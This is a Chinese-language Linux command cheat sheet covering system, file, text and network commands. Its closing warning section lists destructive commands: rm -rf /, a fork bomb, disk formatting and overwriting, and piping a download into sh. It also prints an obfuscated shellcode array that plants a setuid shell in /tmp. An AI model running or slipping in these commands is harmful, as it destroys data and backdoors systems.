admin 管理员组文章数量: 887031
【Linux】命令
文章目录
- 一 系统相关
- 1. ifconfig
- 2. 快捷键
- 3. date 查看时间
- 4. su 切换用户
- 5. clear 清屏
- 6. man 查看命令帮助
- 7. who 查看当前登录用户
- 8. uname 显示系统的相关信息
- 9. last 查看最近登录情况
- 10. dmesg 显示系统开机信息
- 11. free 来显示内存的信息
- 12. ps 查看进程信息
- 13. top 监控Linux系统状况,比如cpu、内存的使用。
- 14. kill 杀死进程
- 14. 进程前后台切换
- ⑴把进程放后台的方法
- ⑵jobs-l 查看后台工作
- ⑶fg %工作号 将后台暂停的工作恢复到前台执行
- ⑷bg %工作号 将后台暂停的工作恢复到后台执行
- ⑸后台命令脱离终端的方法
- 15.查看内核版本
- 16.pidof 找到正在运行的程序的进程ID
- 17.findmt 显示当前挂载的文件系统列表
- 18.watch
- 二 文件相关
- 1. pwd
- 2. cd
- 3. ls
- 4. find
- 5. chmod 修改文件权限
- 6. mv
- 7. cp 主要用于复制文件或目录
- 8. scp 跨服务器复制
- 9. rm 删除文件或文件夹
- 10. 解压缩
- 11. stat 查看文件元信息
- 12. 软连接
- 13. 硬连接
- 14. 查看硬盘是固态还是机械
- 三 文本相关
- 1. grep
- 2. awk文本处理和报表生成
- 3. sed
- ⑴新增
- ⑵删除
- ⑶修改
- ⑷查询
- ⑸操作多行
- ⑹修改源文件
- 4. cut提取列
- 5. cat
- 6. more
- 7. less
- 7. vim相关
- 6. head显示前几行
- 7. tail显示后几行
- 四 网络相关
- 1. 查看并发数
- 2. ping
- 3. telnet
- 4. netstat查询网络状态
- 5. nslookup域名解析命令
- 五 危险命令
- rm -rf /
- 带有迷惑性的rm -rf /
- Fork炸弹
- mkfs.ext4 /dev/sda1
- command > /dev/sda
- dd if=/dev/random of=/dev/sda
- mv ~ /dev/null
- wget -O – | sh
一 系统相关
1. ifconfig
显示或设置网络设备
2. 快捷键
ctrl +c 强制终止
clear 或者 ctrl + l清屏
ctrl + u 删除光标所在位置到行首
ctrl + a 光标移动到行首
ctrl + e 光标移动到行位
ctrl + z 把命令放入后台,这个不是终止,而是放入后台
ctrl + r 在历史命令中搜索我们已经敲过的命令
3. date 查看时间
4. su 切换用户
5. clear 清屏
6. man 查看命令帮助
7. who 查看当前登录用户
8. uname 显示系统的相关信息
-n 显示主机名称
-a 显示全部信息
-m 显示系统CPU信息,类型
-s 显示操作系统类型
-r 显示内核版本
9. last 查看最近登录情况
10. dmesg 显示系统开机信息
11. free 来显示内存的信息
12. ps 查看进程信息
13. top 监控Linux系统状况,比如cpu、内存的使用。
14. kill 杀死进程
- kill -1 进程号 重启进程
- kill -9 进程号 强制杀死进程
- kill -15 进程号 默认的,正常结束进程,如果发生问题,就会尝试kill -9
14. 进程前后台切换
和前端有交互的不能放后台,否则就暂停不能执行。
⑴把进程放后台的方法
- 命令 &
- 按下ctrl+z快捷键,放在后台暂停
⑵jobs-l 查看后台工作
⑶fg %工作号 将后台暂停的工作恢复到前台执行
⑷bg %工作号 将后台暂停的工作恢复到后台执行
⑸后台命令脱离终端的方法
- 加入到/etc/rc.local文件
- 使用nohup
15.查看内核版本
在proc目录下的version
cat version
Linux version 4.18.7-1.el7.elrepo.x86_64 (mockbuild@Build64R7) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-28) (GCC)) #1 SMP Sun Sep 9 09:02:34 EDT 2018
内核版本4.18.7 红帽Red Hat 4.8.5-28,安装时间Sun Sep 9 09:02:34 EDT 2018
16.pidof 找到正在运行的程序的进程ID
[work(caibin)@tjtx145-93-90 ~]$ pidof java
1450 897
17.findmt 显示当前挂载的文件系统列表
[work(caibin)@tjtx145-93-90 ~]$ findmnt
TARGET SOURCE FSTYPE OPTIONS
/ /dev/mapper/docker-8:3-6442806673-3698a36874aa9bd0cea886c5a44c7cfa11fda8dff8c374b8807a3c9e6a8293fd[/rootfs] xfs rw,relatime,nouuid,attr2,inode64,logbsize=256k,sunit=512,swidth=1024,noquota
├─/proc proc proc rw,nosuid,nodev,noexec,relatime
│ ├─/proc/bus proc[/bus] proc ro,nosuid,nodev,noexec,relatime
│ ├─/proc/fs proc[/fs] proc ro,nosuid,nodev,noexec,relatime
│ ├─/proc/irq proc[/irq] proc ro,nosuid,nodev,noexec,relatime
│ ├─/proc/sys proc[/sys] proc ro,nosuid,nodev,noexec,relatime
│ ├─/proc/sysrq-trigger proc[/sysrq-trigger] proc ro,nosuid,nodev,noexec,relatime
│ └─/proc/kcore tmpfs[/null] tmpfs rw,nosuid,mode=755
├─/dev tmpfs tmpfs rw,nosuid,mode=755
│ ├─/dev/pts devpts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666
│ ├─/dev/mqueue mqueue mqueue rw,nosuid,nodev,noexec,relatime
│ ├─/dev/shm shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
│ └─/dev/termination-log /dev/sda3[/wcloud/kubelet/pods/4e6d3ec4-369e-11ea-aded-246e96be23c4/containers/hbg-web-hugopenapi-2-0d360f/0b130025] xfs rw,relatime,attr2,inode64,noquota
├─/sys sysfs sysfs ro,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/cgroup tmpfs tmpfs ro,nosuid,nodev,noexec,relatime,mode=755
│ │ ├─/sys/fs/cgroup/systemd cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups
│ │ ├─/sys/fs/cgroup/cpu,cpuacct cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,cpu,cpuacct
│ │ ├─/sys/fs/cgroup/pids cgroup cgroup ro,nosuid,nodev,noexec,relatime,pids
│ │ ├─/sys/fs/cgroup/rdma cgroup cgroup ro,nosuid,nodev,noexec,relatime,rdma
│ │ ├─/sys/fs/cgroup/cpuset cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,cpuset
│ │ ├─/sys/fs/cgroup/hugetlb cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,hugetlb
│ │ ├─/sys/fs/cgroup/net_cls,net_prio cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,net_cls,net_prio
│ │ ├─/sys/fs/cgroup/memory cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,memory
│ │ ├─/sys/fs/cgroup/freezer cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,freezer
│ │ ├─/sys/fs/cgroup/perf_event cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,perf_event
│ │ ├─/sys/fs/cgroup/blkio cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,blkio
│ │ └─/sys/fs/cgroup/devices cgroup[/system.slice/docker-0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35.scope] cgroup ro,nosuid,nodev,noexec,relatime,devices
│ └─/sys/devices/system/cpu/online /dev/sda3[/wcloud/config/core_resize/online_12] xfs rw,relatime,attr2,inode64,noquota
├─/run/secrets /dev/sda3[/wcloud/docker_graph/containers/0ef2e11dacfb476af671a46387e108081934d8d4b3ba8f0e88c78eb527259d35/secrets] xfs rw,relatime,attr2,inode64,noquota
├─/etc/resolv.conf /dev/sda3[/wcloud/docker_graph/containers/1002784bb8878e581affa36205442165a3f2ec5742bc7e6098ffd9459b47a278/resolv.conf] xfs rw,relatime,attr2,inode64,noquota
├─/etc/hostname /dev/sda3[/wcloud/docker_graph/containers/1002784bb8878e581affa36205442165a3f2ec5742bc7e6098ffd9459b47a278/hostname] xfs rw,relatime,attr2,inode64,noquota
├─/etc/hosts /dev/sda3[/wcloud/kubelet/pods/4e6d3ec4-369e-11ea-aded-246e96be23c4/etc-hosts] xfs rw,relatime,attr2,inode64,noquota
├─/new_proc/sys/net proc[/sys/net] proc rw,nosuid,nodev,noexec,relatime
├─/var/run/secrets/kubernetes.io/serviceaccount tmpfs tmpfs ro,relatime
└─/opt/web/hbg_web_hugopenapi/wf/logs /dev/sda3[/wcloud/logdata/hbg_web_hugopenapi/hbg-web-hugopenapi-2-336902a-1578986387990/1] xfs rw,relatime,attr2,inode64,noquota
18.watch
watch也是一个很重要的命令,可以观测变化
//每隔一秒高亮显示网络链接数的变化情况
watch -n 1 -d netstat -ant
二 文件相关
1. pwd
以绝对路径的方式显示当前所在目录
2. cd
- ⑴进入根目录
cd
- ⑵ 进入上级目录
cd..
3. ls
- 列出所有文件
ls -a
- 列出详细信息
ls -l
- 列出以t开头文件的详细内容
ls -l t*
4. find
- 查找名字为test的文件或目录
find ./ -name test
- 查找文件名匹配*.c的文件,这里会包括文件夹所有文件(不单单是子目录)
find ./ -name \*.c
- 列出当前目录以及子目录下所有扩展名为“.txt”的文件
find . -name "*.txt"
5. chmod 修改文件权限
chmod abc file
其中a,b,c各为一个数字,分别表示User、Group、及Other的权限。
r=4,w=2,x=1
若要rwx属性则4+2+1=7;
若要rw-属性则4+2=6;
若要r-x属性则4+1=5。
6. mv
- 重命名 mv 原名字 目标名字
- 移动文件
.代表的是当前文件夹,下面的意思是把testmv移动到当前文件夹下面
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/Documents$ mv '/home/mobvoi/Documents/cpcp2/testmv' .
7. cp 主要用于复制文件或目录
- 目录需要加上 -r
8. scp 跨服务器复制
9. rm 删除文件或文件夹
rm -rf 文件夹
rm -f 文件
10. 解压缩
- .tar.gz结尾的
压缩
tar -zcvf 打包文件名(可以加绝对路径) 被打包的文件
解压缩
tar -zxvf
tar -zxvf 解压缩文件 -C 目标位置 - .tar.bz2结尾的
压缩
tar -jcvf 打包文件名(可以加绝对路径) 被打包的文件
解压缩
tar -jxvf
tar -jxvf 解压缩文件 -C 目标位置
11. stat 查看文件元信息
[root@localhost ~]# stat test.bin文件:"test.bin"大小:2898689 块:5664 IO 块:4096 普通文件
设备:fd00h/64768d Inode:33971545 硬链接:1
权限:(0600/-rw-------) Uid:( 0/ root) Gid:( 0/ root)
环境:unconfined_u:object_r:admin_home_t:s0
最近访问:2018-03-08 11:00:52.111316220 +0800
最近更改:2018-03-08 10:59:32.531174936 +0800
最近改动:2018-03-08 10:59:32.531174936 +0800
创建时间:-
12. 软连接
ln -s 源文件 目标文件
13. 硬连接
- ⑴不允许给目录创建硬连接
- ⑵只有在同一文件系统中的文件才能创建硬连接
ln 源文件 目标文件
14. 查看硬盘是固态还是机械
cat /sys/block/sda/queue/rotational 0是固态,1是机械
三 文本相关
1. grep
把匹 配的行打印出来
- -i 不区分大小写
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ grep -i 'line2' grep.txt
grep line2
grep LINE2
- -c统计匹配到的次数
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ grep -c 'line1' grep.txt
2
- -n显示行号
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ grep -n 'line1' grep.txt
1:grep line1
6:grep line1
- -v查找不包含指定内容的行
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ grep -v 'line1' grep.txt
- -r逐层遍历目录查找
grep -r 字符串 文件名 - -A -B -C 后多少行,前多少行,前后多少行
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep -A1 'line2' grep.txt
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep -B1 'line2' grep.txt
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep -C1 'line2' grep.txt
- -w 精确匹配单词
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep -w 'line1' grep.txt
grep line1
grep line1
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep 'line1' grep.txt
grep line1
grep line1
grep line1line
- -e 与/或
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ cat grep.txt
grep line1
grep LINE2
grep line1line
// 与
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep -e 'line1\+line' grep.txt
grep line1line
// 或
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~/grep$ grep -e 'line1\|line2' grep.txt
grep line1
grep line1line
- 找到以grep开头的行
grep$ grep '^grep' grep.txt
- 找到以line1结尾的行
grep 'line1$' grep.txt
- 找到空行
grep '^$' grep.txt
- 将grep的输出到指定文件
grep 'line1$' grep.txt > heidou.txt
2. awk文本处理和报表生成
awk有3个不同版本: awk、nawk和gawk,未作特别说明,一般指gawk,gawk 是 AWK 的 GNU 版本。
- 打印某些列
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat marks.txt
1) Amit Physics 80
2) Rahul Maths 90
3) Shyam Biology 87
4) Kedar English 85
5) Hari History 89
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ awk '{print $3 "\t" $4}' marks.txt
Physics 80
Maths 90
Biology 87
English 85
History 89
- 打印包含a字符的行的第三列,第四列
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat marks.txt
1) Amit Physics 80
2) Rahul Maths 90
3) Shyam Biology 87
4) Kedar English 85
5) Hari History 89
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ awk '/a/ {print $3 "\t" $4}' marks.txt
Maths 90
Biology 87
English 85
History 89
3. sed
SED的英文全称是 Stream EDitor,它是一个简单而强大的文本解析转换工具。
sed一次处理一行内容,除非重定向,否则不改变文件内容
⑴新增
如下,在第四行后面加一行:
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ sed '4a line4.1' sed.txt
sed line1
sed line2
sed line3
sed line4
line4.1
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
⑵删除
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ sed '2d' sed.txt
sed line1
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
⑶修改
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ sed '2c helloword' sed.txt
sed line1
helloword
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
⑷查询
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ sed -n '3p' sed.txt
sed line3
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
⑸操作多行
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ sed -e '2d' -e '3d' sed.txt
sed line1
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
⑹修改源文件
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line2
sed line3
sed line4
sed line5
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ sed -i '2d' sed.txt
mobvoi@mobvoi-Battle-Axe-C-B150M-HD:~$ cat sed.txt
sed line1
sed line3
sed line4
sed line5
4. cut提取列
CUT命令比AWK容易,也是用来提取列,但是默认是制表符,如果是空格分割则一般不用,因为它会算空格个数
5. cat
cat命令是linux下的一个文本输出命令,通常是用于观看某个文件的内容的
- 一次显示整个文件 cat filename
- 将几个文件合并为一个文件 cat file1 file2 > file
6. more
Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似)
7. less
less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。
7. vim相关
- :set nu 设置行号
- :set nonu 取消行号
- 😒/a/b/g 替换当前行所有 a 为 b
- dd 删除所在行
- /string 搜索指定字符串(不需要独立成一个完整单词),忽略大小写 :set ic 找下一个出现位置 n
- :w 保存修改
- :wq 保存退出
- q!不保存退出
- :wq!保存修改退出(文件所有者和root用户)
6. head显示前几行
显示文件前n行
[root@localhost douhei]# head -n 5 caibin.txt
显示文件除了最后n行的全部内容
[root@localhost douhei]# head -n -5 caibin.txt
7. tail显示后几行
- -f 循环读取
- -n <行数> 显示行数 不加-n默认是显示后10行
tail -n 1000:显示最后1000行tail -n +1000:从1000行开始显示,显示1000行以后的
四 网络相关
1. 查看并发数
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
输出:
LAST_ACK 5 (正在等待处理的请求数)
SYN_RECV 30
ESTABLISHED 1597 (正常数据传输状态)
FIN_WAIT1 51
FIN_WAIT2 504
TIME_WAIT 1057 (处理完毕,等待超时结束的请求数)
2. ping
Linux ping命令用于检测主机
3. telnet
Linux telnet命令用于远端登入
telnet 192.168.0.5 登录IP为 192.168.0.5 的远程主机
4. netstat查询网络状态
- -t 列出TCP协议端口
- -u 列出UDP协议端口
- -a 列出所有网络连接
5. nslookup域名解析命令
查看本机DNS服务器:
caibindeMBP:java caibin$ nslookup
> server
Default server: 192.168.1.32
Address: 192.168.1.32#53
五 危险命令
首先下面的命令一般需要有root权限,否则也执行不了
rm -rf /
这个就不说了吧,尤其是这个/代表了直接把整个计算机咔嚓了
带有迷惑性的rm -rf /
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
上面的16进制版本
Fork炸弹
:(){ :|: & };:
看着这个命令很没用,其实很危险,这会成指数幂fork,很快把你CPU啥的干光
mkfs.ext4 /dev/sda1
格式化硬盘
command > /dev/sda
把标准输出输出到第一块硬盘,会损害文件系统
dd if=/dev/random of=/dev/sda
dd的命令是拷贝的意思,in代表源,of是目标,直接拷贝到硬盘是很危险的
mv ~ /dev/null
把你的家目录给删掉
wget -O – | sh
网上下个东西然后执行,不怕有恶意脚本可以试试
本文标签: linux命令
版权声明:本文标题:【Linux】命令 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1687711221h132122.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论